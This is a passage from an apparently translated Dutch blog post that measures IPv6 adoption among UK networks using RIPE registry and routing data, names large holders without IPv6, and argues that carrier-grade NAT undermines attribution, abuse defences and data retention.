sets openbare bestanden.\nHet eerste zijn de delegatiebestanden, één per regionaal register, die elk adresblok en AS-nummer opsommen dat dat register heeft uitgedeeld, het land waaraan het is geregistreerd, en een ondoorzichtige identificator voor de organisatie die het houdt. RIPE\u0026rsquo;s dekt Europa en het Midden-Oosten, en het is degene die ertoe doet voor het VK — maar een paar dozijn Brits-geregistreerde AS-nummers zitten in plaats daarvan in de ARIN- en APNIC-bestanden, en de vergelijking verderop heeft de hele boel nodig. De mijne werden gegenereerd op 26 en 27 augustus 2026.\nHet tweede is de dump van de wereldwijde routingtabel van RIPE\u0026rsquo;s Routing Information Service, die elke prefix in BGP opsomt en het AS-nummer dat het aankondigt. IPv4 en IPv6 komen als aparte bestanden. De mijne werd gegenereerd om 18:06 UTC op 27 augustus 2026.\nZet ze samen en je kunt een vraag beantwoorden die niemand in de Britse industrie hardop gesteld wil hebben: van de netwerken die dit land registreerde, hoeveel hebben IPv6 werkelijk aangezet?\n\u0026#8615; The scripts, ready to run ipv6-uk-2026-scripts.zip · 10 kB Haal de AS-nummers geregistreerd op GB uit de delegatiebestanden, haal elk AS-nummer dat een prefix uitzendt uit de RIS-dumps, en comm de twee lijsten tegen elkaar per adresfamilie. Dat geeft de eerste tabel hieronder. Eén valkuil het noemen waard: sorteer lexicaal, niet met sort -n. comm vergelijkt strings, en numeriek gesorteerde invoer geeft je stilletjes het verkeerde antwoord in plaats van een fout die je zou opmerken.\nVerwissel GB voor een andere landcode en je krijgt de rij van dat land in de vergelijkingstabel verderop. 05-country-row.sh doet precies dat.\nDe cijfers op organisatieniveau gebruiken het achtste veld, dat de ondoorzichtige handle van het register is voor het account dat elke resource houdt. Deze blijven op het RIPE-bestand alleen — de handles zijn lokaal voor elk register, dus vijf ervan aaneenrijgen zou hetzelfde bedrijf twee keer tellen in plaats van het samen te voegen. Britse organisaties zijn RIPE-leden, dus RIPE is waar ze zijn. Dit is hoeveel er een AS-nummer houden en helemaal geen IPv6:\n03-org-no-ipv6.sh telt ze. En 04-silent-holders.py is degene die het meest telt. De organisaties die IPv6 houden, live zijn in BGP, en er niets van aankondigen.\nVier kanttekeningen vóór de cijfers, want ze doen ertoe en ik zeg ze liever dan dat ze me voor de voeten worden geworpen.\nDe organisatie-handles zijn per registeraccount, dus een bedrijf dat meerdere accounts draait telt meer dan één keer.\nEen IPv6-prefix aankondigen in BGP is niet hetzelfde als IPv6 aan een klant geven. Het is de vloer, niet het plafond. Een netwerk dat niets aankondigt heeft het zeker niet uitgerold. Een netwerk dat iets aankondigt zou er nog steeds op kunnen zitten.\nDe adrestotalen klappen overlappende prefixes in elkaar. Een netwerk dat een /16 aankondigt naast vier /17\u0026rsquo;s eruit kondigt 65.536 adressen aan, niet 196.608, en de prefixes naïef tellen blaast de grote houders met twee of drie keer op. Ik gebruik Python\u0026rsquo;s ipaddress.collapse_addresses vóór het totaliseren.\nDe lijst van vijftig websites verderop is een steekproef die ik met de hand koos, geen meting van het hele land. Een andere vijftig zou een andere fractie geven. Het illustreert een patroon in plaats van een verhouding te bewijzen, en ik noem degene waarover ik het heb terwijl ik ga.\nDe eerste twee daarvan maken de routingnummers vriendelijker voor de industrie dan de waarheid.\nDe Telling Britse AS-nummers, en hoeveel IPv6 dragen Britse netwerken in de wereldwijde routingtabel, 27 augustus 2026 Bron: RIPE NCC-delegatiebestand en RIPE RIS-routingtabeldump geregistreerd op Britse organisaties 3.106 zichtbaar in de routingtabel 2.248 IPv4 aankondigend 2.078 IPv6 aankondigend 1.048 IPv4 en helemaal geen IPv6 1.200 57,7% van live Britse netwerken Van die 1.200 houden er in totaal\u0026#160;463 IPv6-ruimte die het register al aan hen heeft uitgegeven en er nooit één enkele prefix van hebben aangekondigd. Nog eens 1.113 Britse organisaties die een AS-nummer houden hebben helemaal nooit om IPv6 gevraagd, hoewel het niets kost bovenop het lidmaatschap dat ze al betalen. Every AS number registered to a UK organisation, measured against the global routing table on 27 August 2026. The gap on the right is the whole argument: 1,200 UK networks are live on the internet with no IPv6 at all, and 463 of them are holding registry-issued IPv6 space they have never announced. AS-nummers geregistreerd op Britse organisaties 3.106 Zichtbaar in de wereldwijde routingtabel 2.248 IPv4 aankondigend 2.078 IPv6 aankondigend 1.048 IPv4 aankondigend en geen IPv6 1.200 — 57,7% Bijna zes op de tien live Britse netwerken dragen helemaal geen IPv6. Niet gedeeltelijk. Niet achter een vlag. Niet in een lab. Niet één prefix.\nNu het deel dat het kostenargument voorgoed beëindigt.\nVan de 2.363 Britse organisaties die een AS-nummer houden, houden 1.113 — 47,1% — helemaal geen IPv6-toewijzing. Ze hebben het register er nooit om gevraagd.\nEen RIPE NCC-lidmaatschap kost EUR 1.800 per jaar voor 2026, vlak, en die vergoeding dekt je toewijzingen. Een IPv6 /29 geeft je 524.288 subnetten ter grootte van het hele IPv4-internet. Het is gratis bij een lidmaatschap dat deze organisaties al betalen, en het arriveert in een paar dagen.\nDe helft van hen vulde het formulier nooit in.\nEn van degenen die dat wel deden, houden 463 Britse organisaties IPv6-ruimte, kondigen elke dag IPv4 aan de wereld aan, en kondigen helemaal geen IPv6 aan. Dat is 44,7% van de Britse IPv6-houders die live zijn in BGP.\nLees dat nog een keer, want het is de hele post in één zin. Ze vroegen de adressen aan. Ze kregen de adressen. Ze zetten ze in een spreadsheet. Toen kon niemand de moeite nemen om ze in een router te typen.\nDat kun je niet met geld verklaren. Niemand gaf iets uit. Er is geen factuur, geen inkoop, geen businesscase, geen kapitaalaanvraag. Er is een gratis ding dat in een registeraccount zit, en een engineeringafdeling die het ticket in veertien jaar niet heeft geopend.\nWie Op Die Lijst Staat Dit zijn de grootste Britse netwerken die IPv4 en geen IPv6 aankondigen, naar de hoeveelheid adresruimte die ze werkelijk aankondigen, op 27 augustus 2026. De namen komen uit de RIPE-database, die je zal vertellen wie een ervan houdt:\ncurl -s https://rest.db.ripe.net/ripe/aut-num/AS15914.json \\ | python3 -c \u0026#39;import sys,json; a=json.load(sys.stdin)[\u0026#34;objects\u0026#34;][\u0026#34;object\u0026#34;][0][\u0026#34;attributes\u0026#34;][\u0026#34;attribute\u0026#34;]; print(next(x[\u0026#34;value\u0026#34;] for x in a if x[\u0026#34;name\u0026#34;]==\u0026#34;org\u0026#34;))\u0026#39; De grootste Britse netwerken zonder IPv6 De grootste Britse netwerken die IPv4 en geen IPv6 aankondigen, 27 augustus 2026 IPv4-adressen aangekondigd in BGP, overlappende prefixes ingeklapt. Namen uit de RIPE-database. 0k 50k 100k 150k 200k Vodafone Limited AS25310 229.376 Nationwide Building Society AS8698 131.072 British Airways plc AS15914 131.072 Convergence Group (Metronet) AS42973 94.976 Rackspace Ltd AS24867 86.016 Lloyds Banking Group AS49758 81.920 QinetiQ Limited AS24775 69.632 Barclays Bank plc AS12701 68.608 MUFG Securities EMEA AS8651 65.792 University of Warwick AS201773 65.792 NatWest Markets plc AS21054 65.536 PricewaterhouseCoopers Services AS21296 65.536 London Borough of Hackney AS39400 65.536 Wireless Logic Limited AS51320 39.424 Samen zitten de Britse netwerken die geen IPv6 aankondigen op\u0026#160;4.232.232 IPv4-adressen. Barclays houdt 141.228.0.0/16 sinds augustus 1990. The fourteen largest UK networks announcing IPv4 and no IPv6 on 27 August 2026, by the address space they actually announce. Overlapping prefixes collapsed before totalling. Kijk naar die lijst en probeer de woorden \u0026ldquo;kostenbarrière\u0026rdquo; te zeggen zonder te lachen.\nVier van de clearingbanken. Een wereldwijd accountantskantoor wiens hele product is andere mensen te vertellen hoe ze hun zaken moeten runnen. Een defensietechnologiebedrijf. Een hostingprovider wiens klanten het betalen om dit te weten. Een internet-der-dingen-connectiviteitsbedrijf, dat simkaarten verkoopt, zonder IPv6.\nSamen zitten de Britse netwerken die geen IPv6 aankondigen op 4.232.232 IPv4-adressen. De transfermarkt bedroeg gemiddeld $20,04 per adres over de eerste helft van 2026, dus dat is een bezit dat ergens ten noorden van tachtig miljoen dollar waard is. Wat de werkelijke reden is dat geen van hen is verhuisd: ze zijn rijk aan adressen, dus de schaarste is andermans probleem, en het langetermijn-leidingwerk van het internet is niemands taak in het bijzonder.\nDat is geen strategie. Dat is comfortabel zitten.\nHet delegatiebestand draagt de datum waarop elk blok werd uitgedeeld, dus je kunt precies zien hoe comfortabel:\ngrep -E \u0026#39;\\|ipv4\\|(141\\.228|155\\.131|155\\.136|161\\.2)\\.0\\.0\\|\u0026#39; \\ delegated-ripencc-extended-latest | cut -d\u0026#39;|\u0026#39; -f4,5,6 Barclays houdt 141.228.0.0/16 sinds 6 augustus 1990. Nationwide en NatWest namen die van hen in november 1991, vier dagen na elkaar. British Airways kreeg 161.2.0.0/16 in april 1992. Dit zijn klasse-B-blokken van voordat het web bestond, uitgedeeld toen adressen gratis waren en niemand telde.\nIedereen die na hen kwam betaalt daarvoor. AWS begon te rekenen $0,005 per uur voor elk publiek IPv4-adres op 1 februari 2024 — $43,80 per jaar, elk — en zei ronduit waarom: de kosten om er een te verwerven \u0026ldquo;has risen more than 300% over the past 5 years.\u0026rdquo; De schaarste is echt en het heeft een prijs. Het wordt alleen niet betaald door de mensen die vier miljoen adressen houden die ze in 1991 voor niks kregen.\nHoe We Er Uitzien Tegen Landen Zoals Wij Twee getallen per land. Het eerste is het aandeel van zijn mensen dat Google over native IPv6 bereikt, wat Google\u0026rsquo;s meting is op 25 augustus 2026. Het tweede is het aandeel van zijn live netwerken dat een IPv6-prefix aankondigt, wat de mijne is, uit dezelfde bestanden als hierboven. Ik heb het tot ontwikkelde economieën beperkt. Onszelf vergelijken met landen die het internet laat kregen vertelt je niets over ons. Geordend op mensen.\nLand Gebruikers op IPv6 Netwerken met IPv6 Live netwerken Frankrijk 85,6% 48,5% 1.368 Duitsland 76,6% 63,9% 2.291 België 72,8% 45,8% 273 Verenigde Staten 56,6% 25,9% 18.453 Japan 56,1% 56,4% 721 Verenigd Koninkrijk 53,7% 42,3% 2.078 Noorwegen 52,6% 66,9% 278 Nederland 51,9% 61,8% 1.023 Canada 43,6% 33,1% 1.578 Ierland 38,1% 41,5% 195 Australië 37,2% 26,3% 1.652 Zweden 36,1% 53,6% 642 Zuid-Korea 18,1% 5,3% 916 Italië 17,6% 35,8% 1.078 Spanje 13,3% 26,7% 934 Zesde van vijftien. Frankrijk heeft anderhalf keer zoveel van zijn mensen op IPv6 als wij, uit dezelfde Europese toeleveringsketen, onder dezelfde apparatuurleveranciers, met dezelfde klanten die hun vertellen dat niemand erom vraagt. Duitsland is drieëntwintig punten voor op ons op gebruikers en tweeëntwintig punten voor op netwerken.\nDe twee percentagekolommen zijn het niet met elkaar eens, en de onenigheid is het verhaal.\nGebruikers op IPv6 tegen netwerken die IPv6 dragen, vijftien ontwikkelde economieën Mensen op IPv6, tegen netwerken die IPv6 dragen Google's gebruikersmeting, 25 augustus 2026, tegen mijn telling van live netwerken die een IPv6-prefix aankondigen, 27 augustus 2026. aandeel mensen aandeel netwerken Frankrijk 85,6% 48,5% Duitsland 76,6% 63,9% België 72,8% 45,8% Verenigde Staten 56,6% 25,9% Japan 56,1% 56,4% Verenigd Koninkrijk 53,7% 42,3% Noorwegen 52,6% 66,9% Nederland 51,9% 61,8% Canada 43,6% 33,1% Ierland 38,1% 41,5% Australië 37,2% 26,3% Zweden 36,1% 53,6% Zuid-Korea 18,1% 5,3% Italië 17,6% 35,8% Spanje 13,3% 26,7% 0% 20% 40% 60% 80% 100% Een lange blauwe balk over een korte roze betekent dat drie of vier carriers het werk deden en de rest van het land niet. Frankrijk, België, de Verenigde Staten en het Verenigd Koninkrijk hebben allemaal die vorm. Noorwegen, Zweden en Japan niet. The same fifteen countries on both measures, ordered by the share of people using IPv6. Where the network bar is much shorter than the user bar, a few large carriers are carrying the country and nobody else has bothered. That is the shape of the United States, Belgium, France — and the United Kingdom. Het gebruikerspercentage van een land wordt gezet door drie of vier bedrijven. Het netwerkpercentage wordt gezet door iedereen anders. Als het eerste hoog is en het tweede laag, betekent het dat de grote toegangsnetwerken de klus deden en de rest van het land op ze meeliftte.\nDe Verenigde Staten zijn het duidelijkste geval: 56,6% van zijn mensen zit op IPv6 en slechts 25,9% van zijn netwerken. De kabel- en mobiele carriers dragen bijna iedereen. De andere achttienduizend Amerikaanse netwerken deden niets.\nDe onze is dezelfde truc met kleinere getallen — 53,7% van gebruikers tegen 42,3% van netwerken. Die 53,7% is geen nationale prestatie. Het is Sky en BT, en een afrondingsfout van iedereen anders.\nNoorwegen en Zweden zijn de eerlijke tegenvorm: minder gebruikers op IPv6 dan wij, meer netwerken die het dragen. Meer van hun industrie heeft het werk werkelijk gedaan, en het zijn de consumenten-ISP\u0026rsquo;s die achterlopen in plaats van het vak.\nEn één rij verdient een nadere blik, want het is degene waar mensen naar grijpen als ze zich beter over ons willen voelen.\nZuid-Korea is het slechtste land op deze lijst, met afstand. Van 916 live Koreaanse netwerken kondigen er 61 IPv6 aan. Eenenzestig.\nEnkele van de snelste huishoudelijke breedband ter aarde, een chipindustrie die geld drukt, en 94,7% van zijn netwerken zette het nooit aan. De drie grote carriers — KT, SK Broadband en LG U+ — kondigen het allemaal aan, wat de reden is dat 18,1% van de Koreaanse gebruikers het heeft. De andere achthonderdvijftig netwerken deden niks.\nWat het excuus daar ook is, het is geen geld, het is geen capaciteit, en het is niet de staat van de glasvezel.\nTwintig Jaar Dingen Erop Bouten Hier is wat de industrie bouwde in plaats van de adressen in te typen.\nToen de adressen krap begonnen te raken, was het antwoord carrier-grade NAT: zet honderden klanten achter één publiek IPv4-adres en vertaal ertussen. Alles hieronder bestaat om dat overleefbaar te maken, en elk van deze documenten is een stuk engineeringwerk dat iemand koos te doen in plaats van IPv6 uit te rollen.\nBolt-on Waar het voor is RFC 6598 (2012) Verbrandt een hele /10 — vier miljoen adressen — als \u0026ldquo;gedeelde adresruimte\u0026rdquo;, zodat de schaarste-noodoplossing zijn eigen adressen nodig heeft RFC 6333 (2011) DS-Lite: tunnel IPv4 over het IPv6-netwerk dat je bouwde maar de klant niet gaf RFC 6877 (2013) 464XLAT: vertaal IPv4 naar IPv6 en weer terug op dezelfde reis RFC 6888 (2013) De lijst met eisen waaraan een carrier-grade NAT moet voldoen om niet gevaarlijk te zijn RFC 7021 (2013) Een volledige studie van de applicaties die carrier-grade NAT breekt RFC 7422 (2014) Deterministische adresmapping, puur uitgevonden om te voorkomen dat het logvolume de provider failliet maakt RFC 7597 / 7599 (2015) MAP-E en MAP-T: nog twee manieren om IPv4 over IPv6 te dragen zonder toe te geven dat je IPv6 hebt Twintig jaar noodoplossingen tegen de ene wijziging die ze vervangen Wat we in plaats daarvan bouwden, en waar het in plaats van was IPv6 vermijden Gedeelde adresruimte — een hele /10 verbrand RFC 6598, 2012 DS-Lite — tunnel IPv4 over een IPv6-core RFC 6333, 2011 464XLAT — vertaal uit IPv4 en terug RFC 6877, 2013 Regels om CGN overleefbaar te maken RFC 6888, 2013 Een studie van de applicaties die het breekt RFC 7021, 2013 Deterministische mapping, minder logvolume RFC 7422, 2014 MAP-E en MAP-T — IPv4 over IPv6 opnieuw RFC 7597/9, 2015 Plus de NAT-laag zelf: sessietabellen, poortblok- toewijzing, application gateways, failover, capaciteits- planning, een logging-pijplijn — en een retentiewet aangenomen om de attributie te verdoezelen die het vernietigde. IPv6 doen Dual-stack Nog een adresfamilie, op het routingprotocol en firewallbeleid dat je al draait. Geen nieuwe laag in het verkeerspad. Geen sessiestatus om te dimensioneren. Geen logs om een wet na te leven. Gratis bij het register. Beide kolommen zijn engineeringwerk, en de linker is groter. Het verschil is dat het werk links van een vendor gekocht kan worden, en het werk rechts begrepen moet worden door de mensen die het netwerk bezitten. Two decades of standards work, hardware and logging, all of it in service of not doing the thing on the right. Dual-stack is one address family added alongside the one you already run. Everything on the left exists to avoid it. Kijk naar de vorm daarvan. Elk item op de lijst is moeilijker dan dual-stack. IPv4 in IPv6 tunnelen is strikt meer werk dan IPv6 routeren, want je moet de IPv6 hoe dan ook routeren om de tunnel te dragen. Tussen families vertalen is meer werk dan niet vertalen. Een carrier-grade NAT is een stateful doos in het midden van je netwerk, met capaciteitsplanning, failover, sessietabellen, poortblok-toewijzing, application-layer gateways voor de protocollen die het breekt, en een logging-pijplijn geschaald voor een wettelijke verplichting.\nDual-stack is een adresfamilie, een routingprotocol dat je al draait, en een firewallbeleid dat je al schreef.\nDe industrie keek naar die twee opties en koos de dure, twintig jaar op rij, want de dure kon gekocht worden en de goedkope moest begrepen worden. Een doos kopen is een inkoopoefening. IPv6 aanzetten betekent dat iemand in het gebouw moet weten hoe het netwerk werkt.\nWat Dit Werkelijk Breekt Voor iedereen die denkt dat dit esthetiek is, hier is wat een gedeeld adres je gebruikers kost, in de volgorde waarin ze je erover zullen bellen.\nNiets kan naar binnen. Geen port forwarding, dus geen zelf-gehost wat dan ook, geen gameconsole die als host optreedt, geen site-to-site VPN zonder relay, geen beveiligingscamera zonder een vendorcloud, geen remote access naar het ding op de andere site. Elk daarvan wordt vervangen door een derde-partij-rendezvous-dienst, wat weer een bedrijf is dat je data houdt omdat je provider je geen adres wilde geven.\nJe erft de reputaties van vreemden. Deel een adres met een paar honderd mensen en je deelt hun gedrag. Rate limits, CAPTCHA\u0026rsquo;s, Wikipedia-blokkades, streaming-geofouten en fraudescoring landen allemaal op jou voor iets dat iemand anders deed.\nPoorten raken op. Een carrier-grade NAT heeft 65.535 poorten per publiek adres per protocol, en één moderne browsersessie eet er dozijnen op. Overschrijf en de storing is geen schone fout. Het is een langzame, intermitterende, onreproduceerbare fout die op alles lijkt behalve wat het is, en het verbrandt dagen aan supporttijd per incident.\nElke noodoplossing moet voor eeuwig onderhouden worden, door mensen die die tijd aan de fix hadden kunnen besteden.\nEn dan is er degene die ophield een ongemak te zijn en ieders probleem werd. Niemand kan vertellen wie wat deed.\nDe Bolt-On Die Het Parlement Bereikte Zodra honderden klanten één adres delen, identificeert een adres niemand meer. Dus de politie kan een IP-adres niet naar een persoon herleiden, en het antwoord daarop was niet IPv6. Het was wetgeving.\nSectie 21 van de Counter-Terrorism and Security Act 2015 wijzigde het dataretentieregime specifiek zodat de Secretary of State providers kon dwingen de extra data te bewaren die nodig zijn \u0026ldquo;to link the unique attributes of a public Internet Protocol (IP) address to the person (or device) using it at any given time.\u0026rdquo; De toelichting is bot over waarom het nodig was: providers \u0026ldquo;may share IP addresses between multiple users, and the providers generally have no business purpose for keeping a log of who used each address at a specific point in time.\u0026rdquo;\nLees dat als engineer in plaats van als jurist. De industrie brak attributie om zichzelf wat werk te besparen, en het Parlement nam een wet aan die het verplichtte een logsysteem te bouwen om de breuk te verdoezelen.\nTwee jaar later zei Europol het ronduit. In oktober 2017 publiceerde het een oproep aan de industrie om te stoppen met carrier-grade NAT, met cijfers: 90% van de mobiele internettoegangsproviders en 50% van de vastelijn-providers hadden een technologie aangenomen die hen stopte hun eigen abonnees te identificeren. Europols toenmalige uitvoerend directeur zei dat CGN \u0026ldquo;has created a serious online capability gap in law enforcement efforts to investigate and attribute crime\u0026rdquo;, en merkte op dat het \u0026ldquo;forces judiciary and law enforcement authorities to investigate many more individuals than would normally be necessary.\u0026rdquo;\nEuropol zei ook het stille deel. Carrier-grade NAT \u0026ldquo;was supposed to be a temporary solution until the transition to IPv6 was completed\u0026rdquo;. In plaats daarvan bleef de industrie het gebruik ervan verhogen terwijl de vervanging daar lag, af, gratis en genegeerd.\nDus de kosten van IPv6 niet uitrollen omvatten: een stuk primaire wetgeving, een landelijke retentieverplichting, onschuldige mensen die in onderzoeken worden getrokken omdat ze een adres deelden met iemand die niet onschuldig was, en een aanhoudende capability gap die de politie beschrijft als een openbaar-veiligheidsprobleem.\nNiemand zette dat op de businesscase. Het verschijnt nooit op de \u0026ldquo;IPv6 heeft geen ROI\u0026rdquo;-slide, want het wordt niet betaald door de mensen die het veroorzaakten.\nHet Verbergt Niet Alleen Criminelen. Het Helpt Ze. Het attributieargument is degene die de wetshandhaving maakt, en het gaat over mensen pakken na het feit. Er is een tweede argument dat veel minder vaak wordt gemaakt en erger is: adres-delen degradeert actief de verdedigingen die aanvallen überhaupt stoppen.\nDit is niet mijn analyse. De IETF publiceerde de catalogus in RFC 6269, Issues with IP Address Sharing, in juni 2011. Dat was voordat het VK het meeste carrier-grade NAT uitrolde dat het nu draait. De heldere woorden: adres-delen \u0026ldquo;creates a vector for attack amplification in numerous ways.\u0026rdquo;\nHier is wat het waarschuwde te breken, en brak.\nRate limiting en lockouts stoppen met werken. De standaardverdediging tegen wachtwoord-raden en credential stuffing is fouten per adres te tellen en de overtreder in een strafbankje te zetten. Deel dat adres tussen honderden mensen en de teller meet een menigte. RFC 6269 is bot over de uitkomst: \u0026ldquo;In the presence of widespread large-scale address sharing, penalty box solutions to service abuse simply will not work.\u0026rdquo; De mislukte logins van één gebruiker sluiten iedereen anders buiten, dus operators verhogen de drempels, en de drempels verhogen is wat de aanvaller wilde.\nBlocklisting wordt collateral damage. Blokkeer de spammer en je blokkeert de weg waar ze wonen. Dus de verstandige operator stopt met blokkeren, en het misbruik gaat door vanaf een adres dat niemand durft aanraken.\nGeïnfecteerde machines blijven geïnfecteerd. Abuse feeds en malwaremeldingen arriveren als een adres en een timestamp. Achter een CGN zonder poortlogging kan de provider niet vertellen welke van zijn klanten de bot draait, dus de klant wordt het nooit verteld en de infectie blijft. Erger, RFC 6269 merkt het omgekeerde probleem op: \u0026ldquo;someone else\u0026rsquo;s worm can interfere with the ability to access the service for other subscribers sharing the same IP address.\u0026rdquo;\nAdres-gebaseerde toegangscontrole faalt. Elke allow-list gebouwd op bronadres laat nu een menigte toe in plaats van een klant.\nEn één verdediging wordt meetbaar verzwakt in plaats van slechts afgestompt. Blinde TCP-aanvallen hangen af van het raden van de five-tuple, en de mitigatie van de industrie is de bronpoort te randomiseren (RFC 6056). Een carrier-grade NAT geeft elke abonnee een schijfje van het poortbereik in plaats van het geheel ervan. In de woorden van RFC 6269, \u0026ldquo;with shared IPv4 addresses, the port selection space is reduced.\u0026rdquo; De noodoplossing voor de adresschaarste haalt entropie rechtstreeks uit een anti-aanval-mechanisme.\nDan is er het deel dat iedereen zou moeten verontrusten, ongeacht wat ze over politiewerk denken. Als de server geen bronpoorten logde en de NAT geen bestemmingen logde, spelt RFC 6269 uit wat een provider moet doen wanneer een rechtmatig verzoek arriveert: het \u0026ldquo;would need to disclose the identity of all subscribers who had active sessions on the NAT during the time period in question. This may be a large number of subscribers.\u0026rdquo;\nHet alternatief voor het identificeren van één schuldige abonnee is het overhandigen van de identiteiten van enkele honderden onschuldige. Dat is de werkelijke privacy-uitkomst van adres-delen, en het is het tegenovergestelde van degene die zijn verdedigers ervoor claimen.\nDrie Dingen Moeten Op Één Lijn Komen, en Niemand Is Verplicht Er Ook Maar Een Van Te Leveren Mensen nemen aan dat de logs ergens bestaan en dat het een kwestie van vragen is. Meestal doen ze dat niet, en de reden is rekenkunde in plaats van kwade wil.\nOm een gedeeld adres terug te veranderen in een huishouden, moeten drie aparte dingen allemaal goed zijn gegaan:\nDe server aan het verre eind logde de bronpoort. RFC 6302 vroeg internet-facing servers om bronpoort en timestamp naast het adres te loggen, in 2011. Het is een aanbeveling. Niemand dwingt het af, en heel wat servers loggen nog steeds het adres alleen. Op welk punt het spoor dood is voordat het het Britse eind bereikt. De provider bewaarde de mapping. Elke sessie, maandenlang. De klokken kwamen overeen. RFC 6269 waarschuwt dat op een drukke CGN \u0026ldquo;even very small amounts of clock skew between a third party\u0026rsquo;s server and the CGN operator will result in ambiguity about which customer was using a specific port at a given time.\u0026rdquo; Mis er een en je hebt niets. En de middelste is waar het uit elkaar valt, want de standaarddocumenten bevatten de sommen.\nRFC 7422 zette echte getallen erop. Operators rapporteerden ruwweg 33.000 verbindingen per huishouden per dag. Op ongeveer 150 bytes per logregel is dat 5 MB per abonnee per dag, 150 MB per maand. Voor een provider met een miljoen abonnees: 150 terabyte aan logs per maand, 1,8 petabyte per jaar — te bewaren voor de zes tot twaalf maanden die de wet verwacht, en op verzoek te doorzoeken.\nEn het is nooit één log. NAT444, het geval waarvoor RFC 7422 zijn regels dimensioneert, zet één vertaling in de router van de klant en nog een bij de carrier, en elke poort die een pakket kruist moet opschrijven wat het deed. Eén enkele sessie reconstrueren betekent aparte tabellen correleren, bewaard door aparte partijen, tegen het klokprobleem hierboven. Het bewijs arriveert in stukken van verschillende systemen, of het arriveert niet.\nEn het geld is maar de helft ervan. Sessieregistraties tegen dat tempo vastleggen, ze ergens naartoe verschepen, ze zo indexeren dat een rechtmatig verzoek in uren terugkomt in plaats van weken, en de hele boel een jaar bewaren is een data-engineeringproject. Er is geen dashboard voor en geen doos om te kopen. Het moet gebouwd worden door iemand die begrijpt wat ze bouwen, en dat is niet point-and-click, wat in deze industrie dicht genoeg bij is aan zeggen dat het niet gebouwd wordt.\nNiemand ging er ook ooit voor betalen. En de IETF wist het, wat de reden is dat RFC 6888 operators het tegenovergestelde vertelt van wat de openbare veiligheid nodig heeft: \u0026ldquo;A CGN\u0026rsquo;s port allocation scheme SHOULD minimize log volume\u0026rdquo;, gerechtvaardigd omdat \u0026ldquo;huge log volumes can be problematic to CGN operators.\u0026rdquo; RFC 7422 bestaat voor geen ander doel dan die rekening omlaag te brengen.\nDus het ontwerpadvies aan de industrie is log minder, de economie zegt 1,8 petabyte per jaar is onbetaalbaar, en de wettelijke verwachting is een compleet dossier. Die kunnen niet alle drie tegelijk waar zijn, en degene die toegeeft is het dossier.\nDat is waarom Europol vond dat de meerderheid van de toegangsproviders een abonnee niet kunnen identificeren wanneer ze een rechtelijk bevel krijgen. Niet omdat ze obstructief zijn. Omdat het ding waarom werd gevraagd nooit economisch mogelijk was om te bewaren, en niemand er ooit toe werd gedwongen.\nTwee dingen volgen daaruit, en ze zijn van mij in plaats van iemands citaat.\nTen eerste: een groot deel van de Britse internetverbindingen is per constructie onattributeerbaar. Mobiel is het duidelijkste geval, en onafhankelijke meting zet het hoger dan Europol deed, op 95%. Dus de anonimiteit die vroeger Tor vereiste, of een VPN die iemand moest kopen, is nu de fabrieksinstelling op een Britse mobiele verbinding — gratis uitgegeven met de simkaart, aan iedereen, inclusief het kleine aantal mensen dat het hele apparaat geacht wordt te vinden.\nTen tweede, en erger: de goedkope gerichte methode breken is wat vraag naar de dure ongerichte produceert. Wanneer je een bevel op één adres kunt betekenen en één huishouden krijgt, heb je niets anders nodig. Wanneer dat stopt met werken, haalt de staat zijn schouders niet op. Hij grijpt naar iets breders. Dat is wat de Act van 2015 was: een retentieplicht over de hele abonneebasis, om vragen over een handjevol mensen te beantwoorden.\nNiets daarvan bestaat aan de andere kant. Er wordt niets vertaald, dus er is helemaal geen per-verbinding-dossier om te bewaren. Het adres in de log van de server aan het verre eind is al de prefix van de abonnee: één dossier, één keer geschreven toen de lijn werd geleverd, in één systeem. Zelfs een provider die prefixes dagelijks roteert schrijft een paar honderd per jaar per klant, tegen de twaalf miljoen waar 33.000 verbindingen per dag op uitkomt. Het is niet dat IPv6 minder logt. Er is niets te loggen.\nDe mensen die de noodoplossing schreven wisten het. Midden in een specificatie geschreven om geen andere reden dan CGN betaalbaar te maken om te loggen, stopten ze om vast te leggen dat \u0026ldquo;native IPv6 will offer subscribers a better experience than CGN\u0026rdquo;.\nEen industrie weigerde een veertien dagen per netwerk aan een gratis protocol te besteden, en het land kreeg in plaats daarvan een dataretentieregime.\nZou Dit Fixen Kinderen Beter Beschermen Dan De Online Safety Act? Ik wil hier voorzichtig zijn, want het is makkelijk dit argument slecht te maken en de slecht-gemaakte versie verdient de trap die het zou krijgen.\nBegin met hoe een kindermisbruikonderzoek werkelijk verloopt. Een platform detecteert het materiaal en meldt het. De melding draagt een adres en een timestamp. De politie betekent de toegangsprovider om dat in een abonnee te veranderen, en de abonnee is een adres in de echte wereld met een deur eraan. Dat is de hele keten, en elke stap erna hangt af van degene ervoor.\nZet nu een carrier-grade NAT in het midden. De melding arriveert nog steeds. Het adres lost nog steeds op. Naar enkele honderden huishoudens, en Europol vond onderzoeken \u0026ldquo;dropped or delayed\u0026rdquo; als gevolg. Hun casusvoorbeelden omvatten een aanklager die de leden van een forum dat ISIS steunt niet kon identificeren, dus de vervolging vond niet plaats, en HMRC die bulkbelastingfraude herleidde naar mobiele adressen en de aanwijzingen \u0026ldquo;frustrated from the outset\u0026rdquo; vond.\nNCMEC\u0026rsquo;s CyberTipline nam 21,3 miljoen meldingen in 2025 en verwees meer dan 18,8 miljoen door naar wetshandhaving, waaronder meer dan 53.000 waarbij een kind in onmiddellijk gevaar was. NCMEC legt ook vast dat meer dan 10% van de industriemeldingen arriveerde met informatie te slecht om uit te werken naar welke jurisdictie ze te sturen. Dat cijfer is niet CGNAT\u0026rsquo;s schuld en ik claim niet dat het dat is — maar het vertelt je waar in deze pijplijn casussen sterven. Ze sterven op metadata.\nDus de eerlijke versie van de vergelijking is deze. Carrier-grade NAT breekt de eigen laatste mijl van de Online Safety Act. Het Parlement heeft plichten opgelegd om te detecteren en te melden, en het toegangsnetwerk onmachtig gelaten om op te lossen wat gemeld wordt. Je mag zoveel meldplichten aannemen als je wilt. Als de laatste stap een menigte teruggeeft, is de melding papier.\nEn de kosten van de twee dingen zijn niet bij benadering vergelijkbaar. De Act is het grootste stuk internetregulering dat dit land heeft geprobeerd — duizenden diensten in scope, een toezichthouder die jarenlang codes schrijft, leeftijdsverificatie die op miljoenen checks per dag draait, en een omzeilingsprobleem groot genoeg dat het Parlement VPN-gebruik in de Lords heeft besproken. IPv6 kost niets bij het register en kost een competent team een paar weken. Een van die twee is van de hele industrie geëist. De andere is nooit van iemand gevraagd.\nDrie dingen moeten ronduit gezegd worden, want het argument is waardeloos zonder ze.\nEén. Het is geen vervanging, en ik stel het niet als een voor. IPv6 doet niets om een twaalfjarige te stoppen porno te 